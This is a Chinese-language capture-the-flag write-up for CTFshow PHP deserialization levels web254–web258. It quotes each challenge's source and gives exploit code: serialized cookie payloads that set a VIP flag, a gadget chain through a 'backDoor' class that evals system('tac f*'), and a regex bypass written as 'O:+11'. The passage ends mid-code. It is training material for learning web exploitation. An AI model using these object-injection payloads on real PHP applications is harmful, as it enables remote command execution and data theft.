【CTFSHOW】web入门反序列化

web254

include('flag.php');

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
   
        return $this->isVip;
    }
    public function login($u,$p){
   
        if($this->username===$u&&$this->password===$p){
   
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            echo "your flag is ".$flag;
        }else{
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = new ctfShowUser();
    if($user->login($username,$password)){
   
        if($user->checkVip()){
   
            $user->vipOneKeyGetFlag();
        }
    }else{
   
        echo "no vip,no flag";
    }
}

GET传参即可：

web255

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
   
        return $this->isVip;
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            echo "your flag is ".$flag;
        }else{
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
   
        if($user->checkVip()){
   
            $user->vipOneKeyGetFlag();
        }
    }else{
   
        echo "no vip,no flag";
    }
}

这次使用反序列化了，但是要对序列化后的对象中分号‘;’进行url编码。因为cookie是以;作为分隔符的，否则会导致解析错误。我们索性对序列化后的结果全部进行url半编码。

新建一个php文件执行：

<?php
class ctfShowUser{
   
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a)); // O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

hackbar设置cookie头即可。payload如下：

web256

public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            if($this->username!==$this->password){
   
                    echo "your flag is ".$flag;
              }
        }else{
   
            echo "no vip, no flag";
        }
  }

这次添加了用户名和密码不能相同，在序列化时设置一下就好：

<?php
class ctfShowUser{
   
    public $username='truthahn';
    public $password='llama';
    public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

payload：

web257

class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    private $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    private $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

增加了后门类，直接更改class为后门类并给code变量赋值即可：

<?php
class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';

    public function __construct(){
   
        $this->class=new backDoor();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class backDoor{
   
    private $code="system('tac f*');";
    public function getInfo(){
   
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));

payload：

web258

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    public $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    public $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
   
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

在反序列化之前进行了正则匹配，规则如下：

要求不能出现O/C:数字的形式，我们可以将序列化中的类似形式更改为O/C:+数字的形式来绕过过滤：

O:11:"ctfShowUser":3:{
   s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{
   s:4:"code";s:17:"system('tac f*');";}}

发现有两处：“O:11"和"O:8”。

<?php
class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'info';

    public function __construct(){
   
        $this->class=new backDoor();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class backDoor{
   
    public